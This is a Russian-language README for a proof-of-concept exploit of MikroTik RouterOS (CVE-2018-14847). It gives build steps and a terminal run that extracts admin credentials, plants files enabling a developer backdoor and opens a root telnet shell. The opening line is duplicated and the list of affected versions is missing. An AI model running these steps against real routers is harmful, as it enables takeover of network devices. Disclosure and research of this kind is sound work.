
By the Way — это эксплойт, который позволяет получить root-шелл на устройствах Mikrotik под управлением RouterOS версий:
By the Way — это эксплойт, который позволяет получить root-оболочку на устройствах Mikrotik под управлением RouterOS следующих версий:
Эксплойт использует уязвимость обхода пути CVE-2018-14847 для извлечения пароля администратора и создания пакета «option» для включения бэкдора разработчика. После эксплуатации атакующий может подключиться по Telnet или SSH, используя root-пользователя «devel» с паролем администратора.
Mikrotik исправила CVE-2018-14847 ещё в апреле. Однако, до написания этого PoC, я не думаю, что было публично раскрыто, что атаку можно использовать для записи файлов. Вы можете найти бюллетень безопасности Mikrotik здесь:
Обратите внимание: хотя этот эксплойт написан для Winbox, его можно портировать на HTTP, если у вас есть предварительное знание учётных данных администратора.
Этот PoC зависит от:
mkdir build
cd build
cmake ..
make
albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ telnet -l devel 192.168.1.251
Trying 192.168.1.251...
Connected to 192.168.1.251.
Escape character is '^]'.
Password:
Login failed, incorrect username or password
Connection closed by foreign host.
albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ ./btw -i 192.168.1.251
╔╗ ┬ ┬ ┌┬┐┬ ┬┌─┐ ╦ ╦┌─┐┬ ┬
╠╩╗└┬┘ │ ├─┤├┤ ║║║├─┤└┬┘
╚═╝ ┴ ┴ ┴ ┴└─┘ ╚╩╝┴ ┴ ┴
[+] Extracting passwords from 192.168.1.251:8291
[+] Searching for administrator credentials
[+] Using credentials - admin:lol
[+] Creating /pckg/option on 192.168.1.251:8291
[+] Creating /flash/nova/etc/devel-login on 192.168.1.251:8291
[+] There's a light on
albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ telnet -l devel 192.168.1.251
Trying 192.168.1.251...
Connected to 192.168.1.251.
Escape character is '^]'.
Password:
BusyBox v1.00 (2017.03.02-08:29+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
# uname -a
Linux MikroTik 3.3.5 #1 Thu Mar 2 08:16:25 UTC 2017 mips unknown
# cat /rw/logs/VERSION
v6.38.4 Mar/08/2017 09:26:17
# Connection closed by foreign host.